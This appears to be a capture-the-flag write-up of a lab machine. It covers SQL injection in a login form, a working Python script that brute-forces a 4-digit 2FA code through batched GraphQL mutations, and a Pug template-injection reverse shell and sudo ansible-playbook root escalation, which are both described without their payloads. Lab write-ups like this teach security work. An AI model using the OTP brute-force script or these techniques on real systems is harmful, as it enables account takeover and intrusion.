By fuzzing both the username and password fields, we quickly find that there is an SQL injection through the username field.
Error: ER_PARSE_ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1
To quickly exploit this, I used SQLmap and specified a custom injection point:
These gave the credentials john:iamcool. Upon logging in, though, we are prompted for our 2FA OTP. Since it was a 4-digit number, there were 10,000 possible OTP codes.
In GraphQL, a mechanism known as batching allows us to send multiple GraphQL queries in a single HTTP request. So instead of sending a single verify2FA mutation like so:
This allows us to bruteforce a significant number of OTP codes in a single request, reducing the total number of HTTP requests needed. However, due to limitations on the total length of a single request body, we still need to split the search space into multiple requests.
In the following script, we split the search space into 10 HTTP requests, each testing 1,000 OTP codes.
import requests
import time
for i in range(10):
res = ""
for i in range(i * 1000, (i + 1) * 1000):
res += f"verify{i}: verify2FA(otp: \"{str(i).zfill(4)}\"){{ message, token }}"
qry = "mutation {" + res + "}"
r = requests.post("http://10.129.255.102/graphql",
json={"query": qry},
headers={"Content-Type": "application/json"},
cookies={
"session": "<SESSION-COOKIE>"
},
proxies={'http': 'http://localhost:8080'}
)
data = r.json()['data']
for key, value in data.items():
if value != None:
print(key, value)
time.sleep(2)
This allows us to find the correct code in a couple of seconds.
Now, we can head over to the admin dashboard at /admin/dashboard. We are presented with a UI for saving and previewing email templates, which leads us to believe that there might be an SSTI vulnerability.
From the HTTP response headers, we could also gather that the server was running an Express.js application, allowing us to narrow down the templating engine as Pug.
Using the following payload, we can spawn a reverse shell when previewing the template, allowing us to get a shell as john.
Then we can just run sudo ansible-playbook pwn.yml to run the playbook's command as root, and then bash -p to gain a bash shell with root privileges through the SUID permission.